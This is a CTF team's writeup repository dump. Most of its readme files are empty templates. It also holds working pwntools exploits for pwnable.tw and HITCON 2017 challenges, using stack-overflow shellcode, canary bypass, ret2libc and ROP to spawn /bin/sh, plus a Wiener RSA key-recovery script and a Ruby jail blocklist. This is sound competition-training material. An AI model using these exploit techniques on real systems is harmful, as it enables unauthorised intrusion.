├── 2017-ctfs ├── 20170602-TCTF-Final │ ├── readme.md │ ├── pwn-upxof │ │ ├── upxof │ │ ├── exp.py │ │ └── readme.md │ ├── reverse-oldtimes │ │ ├── oldtimes │ │ ├── exp │ │ │ ├── RSAfracCont.pdf │ │ │ ├── README.md │ │ │ ├── RSAwienerHacker.py │ │ │ ├── exp.py │ │ │ ├── ContinuedFractions.py │ │ │ ├── MillerRabin.py │ │ │ ├── RSAvulnerableKeyGenerator.py │ │ │ └── Arithmetic.py │ │ └── readme.md │ └── pwn-world_of_fastbins │ │ ├── fastbin │ │ ├── libc.so │ │ ├── readme.md │ │ └── exp.py └── 20170610-GCTF-Quals │ ├── misc-testpyc │ ├── test.pyc │ └── readme.md │ ├── misc-reverseMe │ ├── reverseMe │ └── readme.md │ ├── misc-stage1 │ ├── stage1.png │ └── readme.md │ ├── reverse-debug │ ├── debug.exe │ └── readme.md │ └── web │ └── readme.md ├── pwnable.tw ├── readme.md ├── pwn-orw │ ├── orw.dms │ └── readme.md ├── pwn-calc │ ├── calc.dms │ └── readme.md ├── pwn-Start │ ├── start.dms │ └── readme.md ├── pwn-hacknote │ ├── hacknote.dms │ ├── libc-2.23.so │ ├── libc_32.so.6 │ └── readme.md ├── pwn-applestore │ ├── libc-2.23.so │ ├── libc_32.so.6 │ ├── applestore.dms │ └── readme.md ├── pwn-dubblesort │ ├── libc-2.23.so │ ├── libc_32.so.6 │ ├── dubblesort.dms │ └── readme.md └── pwn-Silver Bullet │ ├── libc-2.23.so │ ├── libc_32.so.6 │ ├── silver_bullet.dms │ └── readme.md ├── 2017-hitcon-quals ├── misc-Two │ ├── readme.md │ └── two.zip ├── crypto-Luaky │ ├── readme.md │ └── luaky ├── crypto-SSSP │ ├── readme.md │ └── sssp.cpp ├── pwn-Baby-FS │ ├── readme.md │ └── babyfs.tar.gz ├── pwn-Damocles │ ├── readme.md │ └── damocles.tar.gz ├── pwn-Ragnarok │ ├── readme.md │ └── ragnarok.tar.gz ├── pwn-Secret-FS │ ├── readme.md │ └── secretfs ├── pwn-bigLITTLE │ ├── readme.md │ └── bigLITTLE ├── reverse-Sakura │ ├── readme.md │ └── sakura ├── crypto-Very-Luaky │ ├── readme.md │ └── luaky ├── misc-Easy-to-say │ ├── readme.md │ └── easy_to_say ├── misc-Re-Easy-to-say │ ├── readme.md │ └── re_easy_to_say ├── reverse-Seccomp │ ├── readme.md │ └── seccomp ├── crypto-Secret-Server │ ├── readme.md │ └── secretserver.py ├── misc-Baby-Ruby-Escaping │ ├── readme.md │ └── jail.rb ├── pwn-Ghost-in-the-heap │ ├── readme.md │ └── ghost_in_the_heap.tar.gz ├── pwn-Impeccable-Artifact │ ├── readme.md │ └── artifact ├── pwn-Real-Ruby-Escaping │ ├── readme.md │ └── real-ruby-escaping.zip ├── crypto-Secret-Server-Revenge │ ├── readme.md │ └── secretserver2.zip ├── reverse-Fantastic-Seamless-Textile │ ├── readme.md │ └── textile ├── reverse-Everlasting-Imaginative-Void │ ├── readme.md │ └── void ├── pwn-start │ ├── start.zip │ └── readme.md └── readme.md ├── readme.md └── wp.py /2017-ctfs/20170602-TCTF-Final/readme.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /pwnable.tw/readme.md: -------------------------------------------------------------------------------- 1 | # contest 2 | 3 | [https://pwnable.tw](https://pwnable.tw) -------------------------------------------------------------------------------- /2017-hitcon-quals/misc-Two/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-Luaky/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-SSSP/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Baby-FS/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Damocles/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Ragnarok/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Secret-FS/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-bigLITTLE/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/reverse-Sakura/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # writeups 2 | 3 | This is a writeup and sum ups repository of team D.I.E from tju. 4 | -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-Very-Luaky/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/misc-Easy-to-say/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/misc-Re-Easy-to-say/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/reverse-Seccomp/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-orw/orw.dms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-orw/orw.dms -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-Secret-Server/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/misc-Baby-Ruby-Escaping/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Ghost-in-the-heap/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Impeccable-Artifact/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Real-Ruby-Escaping/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-calc/calc.dms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-calc/calc.dms -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-Secret-Server-Revenge/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-Start/start.dms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-Start/start.dms -------------------------------------------------------------------------------- /2017-hitcon-quals/misc-Two/two.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/misc-Two/two.zip -------------------------------------------------------------------------------- /2017-hitcon-quals/reverse-Fantastic-Seamless-Textile/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-Luaky/luaky: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/crypto-Luaky/luaky -------------------------------------------------------------------------------- /2017-hitcon-quals/reverse-Everlasting-Imaginative-Void/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | (TODO) 4 | 5 | #exp 6 | 7 | (TODO) 8 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-hacknote/hacknote.dms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-hacknote/hacknote.dms -------------------------------------------------------------------------------- /pwnable.tw/pwn-hacknote/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-hacknote/libc-2.23.so -------------------------------------------------------------------------------- /pwnable.tw/pwn-hacknote/libc_32.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-hacknote/libc_32.so.6 -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-start/start.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/pwn-start/start.zip -------------------------------------------------------------------------------- /2017-hitcon-quals/reverse-Sakura/sakura: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/reverse-Sakura/sakura -------------------------------------------------------------------------------- /pwnable.tw/pwn-applestore/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-applestore/libc-2.23.so -------------------------------------------------------------------------------- /pwnable.tw/pwn-applestore/libc_32.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-applestore/libc_32.so.6 -------------------------------------------------------------------------------- /pwnable.tw/pwn-dubblesort/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-dubblesort/libc-2.23.so -------------------------------------------------------------------------------- /pwnable.tw/pwn-dubblesort/libc_32.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-dubblesort/libc_32.so.6 -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-Very-Luaky/luaky: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/crypto-Very-Luaky/luaky -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Secret-FS/secretfs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/pwn-Secret-FS/secretfs -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-bigLITTLE/bigLITTLE: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/pwn-bigLITTLE/bigLITTLE -------------------------------------------------------------------------------- /2017-hitcon-quals/reverse-Seccomp/seccomp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/reverse-Seccomp/seccomp -------------------------------------------------------------------------------- /pwnable.tw/pwn-Silver Bullet/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-Silver Bullet/libc-2.23.so -------------------------------------------------------------------------------- /pwnable.tw/pwn-Silver Bullet/libc_32.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-Silver Bullet/libc_32.so.6 -------------------------------------------------------------------------------- /pwnable.tw/pwn-applestore/applestore.dms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-applestore/applestore.dms -------------------------------------------------------------------------------- /pwnable.tw/pwn-dubblesort/dubblesort.dms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-dubblesort/dubblesort.dms -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Baby-FS/babyfs.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/pwn-Baby-FS/babyfs.tar.gz -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/pwn-upxof/upxof: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-ctfs/20170602-TCTF-Final/pwn-upxof/upxof -------------------------------------------------------------------------------- /2017-hitcon-quals/misc-Easy-to-say/easy_to_say: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/misc-Easy-to-say/easy_to_say -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Damocles/damocles.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/pwn-Damocles/damocles.tar.gz -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Ragnarok/ragnarok.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/pwn-Ragnarok/ragnarok.tar.gz -------------------------------------------------------------------------------- /pwnable.tw/pwn-Silver Bullet/silver_bullet.dms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/pwnable.tw/pwn-Silver Bullet/silver_bullet.dms -------------------------------------------------------------------------------- /2017-ctfs/20170610-GCTF-Quals/misc-testpyc/test.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-ctfs/20170610-GCTF-Quals/misc-testpyc/test.pyc -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Impeccable-Artifact/artifact: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/pwn-Impeccable-Artifact/artifact -------------------------------------------------------------------------------- /2017-ctfs/20170610-GCTF-Quals/misc-reverseMe/reverseMe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-ctfs/20170610-GCTF-Quals/misc-reverseMe/reverseMe -------------------------------------------------------------------------------- /2017-ctfs/20170610-GCTF-Quals/misc-stage1/stage1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-ctfs/20170610-GCTF-Quals/misc-stage1/stage1.png -------------------------------------------------------------------------------- /2017-ctfs/20170610-GCTF-Quals/reverse-debug/debug.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-ctfs/20170610-GCTF-Quals/reverse-debug/debug.exe -------------------------------------------------------------------------------- /2017-hitcon-quals/misc-Re-Easy-to-say/re_easy_to_say: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/misc-Re-Easy-to-say/re_easy_to_say -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/oldtimes: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/oldtimes -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/pwn-world_of_fastbins/fastbin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-ctfs/20170602-TCTF-Final/pwn-world_of_fastbins/fastbin -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/pwn-world_of_fastbins/libc.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-ctfs/20170602-TCTF-Final/pwn-world_of_fastbins/libc.so -------------------------------------------------------------------------------- /2017-hitcon-quals/reverse-Everlasting-Imaginative-Void/void: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/reverse-Everlasting-Imaginative-Void/void -------------------------------------------------------------------------------- /2017-hitcon-quals/reverse-Fantastic-Seamless-Textile/textile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/reverse-Fantastic-Seamless-Textile/textile -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-Secret-Server-Revenge/secretserver2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/crypto-Secret-Server-Revenge/secretserver2.zip -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Ghost-in-the-heap/ghost_in_the_heap.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/pwn-Ghost-in-the-heap/ghost_in_the_heap.tar.gz -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-Real-Ruby-Escaping/real-ruby-escaping.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-hitcon-quals/pwn-Real-Ruby-Escaping/real-ruby-escaping.zip -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/exp/RSAfracCont.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D-I-E/writeups/HEAD/2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/exp/RSAfracCont.pdf -------------------------------------------------------------------------------- /2017-ctfs/20170610-GCTF-Quals/misc-reverseMe/readme.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | 1. 观察到头尾发现反序jpg的magic number(FF D8和FF D9),用python将字节逆过来即可看到flag图片。 4 | 5 | # Exp 6 | 7 | ```python 8 | f=open('flag.jpg','wb') 9 | f.write(open('reverseMe','rb').read()[::-1]) 10 | ``` 11 | 12 | # Other writeups and resources 13 | 14 | (NONE) 15 | -------------------------------------------------------------------------------- /2017-ctfs/20170610-GCTF-Quals/misc-stage1/readme.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | 1. 拿到图片,使用Stegsolve.jar,在gray panel发现一个反色二维码,使用mac预览实现反色。 4 | 5 | 2. 扫描得到一串十六进制数,发现头部`03F30D0A`是pyc的magic number。 6 | 7 | 3. python导入后执行dir发现有一个flag函数,执行后得到flag。 8 | 9 | # Exp 10 | 11 | (NONE) 12 | 13 | # Other writeups and resources 14 | 15 | (NONE) 16 | -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/exp/README.md: -------------------------------------------------------------------------------- 1 | rsa-wiener-attack 2 | ================= 3 | 4 | A Python implementation of the Wiener attack on RSA public-key encryption scheme. 5 | 6 | It uses some results about continued fractions approximations to infer the private key from public key in the cases the encryption exponent is too small or too large. 7 | -------------------------------------------------------------------------------- /2017-ctfs/20170610-GCTF-Quals/misc-testpyc/readme.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | 1. 用dis和uncompile2查看pyc,得到完整的str串。 4 | 5 | 2. 观察得到flag3函数的逻辑,将给出字符串逆过来解base64再逆过来并且每个字符减一即可。 6 | 7 | # Exp 8 | 9 | ```python 10 | a = '=cWbihGfyMzNllzZ0cjZzMWN5cTM4YjYygTOycmNycWNyYmM1Ujf' 11 | 12 | import base64 13 | 14 | print ''.join(map(lambda x: chr(ord(x)-1), base64.b64decode(a[::-1])))[::-1] 15 | ``` 16 | 17 | # Other writeups and resources 18 | 19 | (NONE) 20 | -------------------------------------------------------------------------------- /wp.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | 5 | if not os.path.exists(sys.argv[1]): 6 | os.mkdir(sys.argv[1]) 7 | if not os.path.exists(os.path.join(sys.argv[1],sys.argv[2])): 8 | os.mkdir(os.path.join(sys.argv[1],sys.argv[2])) 9 | if not os.path.exists(os.path.join(sys.argv[1],sys.argv[2],'readme.md')): 10 | f = open(os.path.join(sys.argv[1],sys.argv[2],'readme.md'), 'w') 11 | 12 | f.write('''# poc\n\n(TODO)\n\n# exp\n\n(TODO)\n''') 13 | f.close() 14 | 15 | -------------------------------------------------------------------------------- /2017-ctfs/20170610-GCTF-Quals/reverse-debug/readme.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | 用ILSpy观察逻辑,发现过一个check就行,根据逻辑写出下面exp得到flag。 4 | 5 | # Exp 6 | 7 | ```python 8 | def trans(a, b): 9 | return [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113][b]^a 10 | 11 | print trans(1,10) 12 | 13 | def cal(a, b): 14 | for i in a: 15 | i = ord(i) 16 | for j in range(1,15): 17 | i = trans(i, j) 18 | b += chr(i) 19 | return b 20 | 21 | import hashlib 22 | 23 | b = cal('CreateByTenshine','') 24 | 25 | m = hashlib.md5() 26 | 27 | m.update(b) 28 | 29 | print 'flag{' + m.hexdigest().upper() + '}' 30 | 31 | ``` 32 | 33 | # Other writeups and resources 34 | 35 | (NONE) 36 | -------------------------------------------------------------------------------- /2017-hitcon-quals/misc-Baby-Ruby-Escaping/jail.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'readline' 4 | 5 | proc { 6 | my_exit = Kernel.method(:exit!) 7 | my_puts = $stdout.method(:puts) 8 | ObjectSpace.each_object(Module) { |m| m.freeze if m != Readline } 9 | set_trace_func proc { |event, file, line, id, binding, klass| 10 | bad_id = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system/ 11 | bad_class = /(? ', true) 21 | puts '=> ' + eval(line, TOPLEVEL_BINDING).inspect 22 | end 23 | -------------------------------------------------------------------------------- /2017-hitcon-quals/readme.md: -------------------------------------------------------------------------------- 1 | # contest 2 | 2017/11/04 02:00 UTC ~ 2017/11/06 02:00 UTC 3 | 4 | freenode #hitconctf 5 | 6 | 7 | # team 8 | 9 | | key | value | 10 | | - | - | 11 | | Email | meinvshef@sina.cn | 12 | | Team | Northwest Wolf | 13 | | Score | 827 | 14 | | rank | 73 | 15 | 16 | 17 | # solved 18 | 19 | | Challenge | Category | Challenge | Category | 20 | | - | - | - | - | 21 | | Visual Acuity | Misc | 50 | 2017-11-04 02:01:55 | 22 | | BabyFirst Revenge | 🍊 Web | 172 | 2017-11-04 09:13:54 | 23 | | Start | Pwn | 132 | 2017-11-04 12:42:21 | 24 | | Easy to say | Misc | 144 | 2017-11-05 00:40:10 | 25 | | Data & Mining | Misc | 137 | 2017-11-05 03:02:32 | 26 | | 完美無瑕 ~Impeccable Artifact~ | Perfection, Pwn | 192 | 2017-11-05 04:33:16 | 27 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-Start/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | ``` 4 | Arch: i386-32-little 5 | RELRO: No RELRO 6 | Stack: No canary found 7 | NX: NX disabled 8 | PIE: No PIE (0x8048000) 9 | ``` 10 | 11 | > 栈溢出 -> 泄漏栈地址 -> 将shellcode写在栈上 -> 执行`execve('/bin/sh\x00',0,0)` 12 | 13 | 由于栈可执行,考虑将shellcode写在栈上,栈溢出调用`write`输出程序一开始`push esp`的值获得栈地址,从而执行栈上shellcode。 14 | 15 | # exp 16 | 17 | ```python 18 | from pwn import * 19 | 20 | DEBUG = 0 21 | 22 | if DEBUG: 23 | context(log_level = 'debug') 24 | p = process('./start.dms') 25 | gdb.attach(p) 26 | else: 27 | p = remote('chall.pwnable.tw', 10000) 28 | 29 | p.recvuntil('CTF:') 30 | 31 | payload = 'a' * 0x14 # pad 32 | payload += p32(0x8048087) # write - read - ret 33 | 34 | p.send(payload) 35 | 36 | addr = u32(p.recv(0x14)[:4]) 37 | 38 | payload = 'a' * 0x14 #pad 39 | payload += p32(addr - 0x4 + 0x14 + 0x4) 40 | payload += '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' 41 | 42 | p.sendline(payload) 43 | 44 | p.interactive() 45 | ``` 46 | 47 | -------------------------------------------------------------------------------- /pwnable.tw/pwn-dubblesort/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | 3 | ``` 4 | Arch: i386-32-little 5 | RELRO: Full RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: PIE enabled 9 | FORTIFY: Enabled 10 | ``` 11 | 12 | > 泄漏`libc`地址 -> 绕过`canary` -> 栈溢出 -> `system('/bin/sh\x00')` 13 | 14 | 本地调试发现栈上残留`libc`地址,输入特定长度名字可以泄漏,根据相对偏移算出`libc`基址,当输入较大数字个数时可触发栈溢出,但`canary`需要特殊技巧绕过,`__isoc99_scanf("%u", &a)`可以通过输入`"+"`避免读入修改`canary`,剩余问题只需考虑计算栈地址,及排序后不影响`system`调用即可。 15 | 16 | # exp 17 | 18 | ```python 19 | from pwn import * 20 | 21 | DEBUG = 0 22 | 23 | context(arch = 'i386', os = 'linux', log_level = 'debug') 24 | 25 | if DEBUG: 26 | p = process('./dubblesort.dms') 27 | e = ELF('./libc-2.23.so') 28 | gdb.attach(p) 29 | else: 30 | p = remote('chall.pwnable.tw', 10101) 31 | e = ELF('./libc_32.so.6') 32 | 33 | p.sendline('a' * 20 + 'abcd') 34 | p.recvuntil('abcd') 35 | libc_base = (u32(p.recv(4)) & 0xffffff00) - 0x1b0000 36 | log.debug('%s => %d' % ('libc_base', libc_base)) 37 | 38 | system_addr = libc_base + e.symbols['system'] 39 | binsh_addr = libc_base + list(e.search('/bin/sh\x00'))[0] 40 | 41 | p.sendline(str(35)) 42 | 43 | for i in range(24): 44 | p.sendline(str(i)) 45 | 46 | p.sendline('+') 47 | 48 | for i in range(8): 49 | p.sendline(str(system_addr)) 50 | 51 | for i in range(2): 52 | p.sendline(str(binsh_addr)) 53 | 54 | p.interactive() 55 | ``` 56 | -------------------------------------------------------------------------------- /2017-hitcon-quals/pwn-start/readme.md: -------------------------------------------------------------------------------- 1 | # poc 2 | ``` 3 | Arch: amd64-64-little 4 | RELRO: Partial RELRO 5 | Stack: Canary found 6 | NX: NX enabled 7 | PIE: No PIE (0x400000) 8 | ``` 9 | 10 | > 泄漏canary -> 栈溢出 -> ROP -> execve("/bin/sh", 0, 0) 11 | 12 | 栈溢出,由于数组在canary上面,因此可以泄漏至少相邻1Bcanary,找到可写位置写上"/bin/sh\x00",通过ROP构造execve("/bin/sh", 0, 0),需要用到ruby脚本。 13 | 14 | # exp 15 | 16 | ```python 17 | from pwn import * 18 | 19 | p = remote('54.65.72.116', 31337) 20 | 21 | payload = ''' 22 | p = Sock.new '127.0.0.1', 31338 23 | pad = 0xdeadbeefdeadbeef 24 | g1 = 0x00000000004125e3 25 | s = '/bin/sh\x00' 26 | g2 = 0x00000000004005d5 27 | g3 = 0x000000000049e472 28 | g4 = 0x00000000004017f7 29 | g5 = 0x0000000000443776 30 | g6 = 0x0000000000468e75 31 | write_addr = 0x6ce000 32 | canary = '' 33 | for i in 0..7 34 | payload = 'a' * (0x18 + i) 35 | p.send payload 36 | r = p.recvuntil '\x0a' 37 | if r.length == (0x18 + i + 1) 38 | canary += '\x00' 39 | else 40 | canary += r[0x18 + i] 41 | end 42 | end 43 | 44 | payload = 'a' * 0x18 + canary 45 | payload += p64(pad) 46 | payload += p64(g2) + p64(write_addr) + p64(g1) 47 | payload += p64(g5) + s 48 | payload += p64(g3) 49 | payload += p64(g2) + p64(0x3b) + p64(g1) 50 | payload += p64(g2) + p64(write_addr) 51 | payload += p64(g4) + p64(0) 52 | payload += p64(g5) + p64(0) 53 | payload += p64(g6) 54 | p.send payload 55 | p.send 'exit\n' 56 | p.sendline 'cat /home/start/flag' 57 | print p.recv 10000000 58 | print p.recv 10000000 59 | ''' 60 | 61 | p.sendline(payload) 62 | p.interactive() 63 | ``` 64 | -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/exp/RSAwienerHacker.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Created on Dec 14, 2011 3 | 4 | @author: pablocelayes 5 | ''' 6 | 7 | import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator 8 | 9 | def hack_RSA(e,n): 10 | ''' 11 | Finds d knowing (e,n) 12 | applying the Wiener continued fraction attack 13 | ''' 14 | frac = ContinuedFractions.rational_to_contfrac(e, n) 15 | convergents = ContinuedFractions.convergents_from_contfrac(frac) 16 | 17 | for (k,d) in convergents: 18 | 19 | #check if d is actually the key 20 | if k!=0 and (e*d-1)%k == 0: 21 | phi = (e*d-1)//k 22 | s = n - phi + 1 23 | # check if the equation x^2 - s*x + n = 0 24 | # has integer roots 25 | discr = s*s - 4*n 26 | if(discr>=0): 27 | t = Arithmetic.is_perfect_square(discr) 28 | if t!=-1 and (s+t)%2==0: 29 | print("Hacked!") 30 | return d 31 | 32 | # TEST functions 33 | 34 | def test_hack_RSA(): 35 | 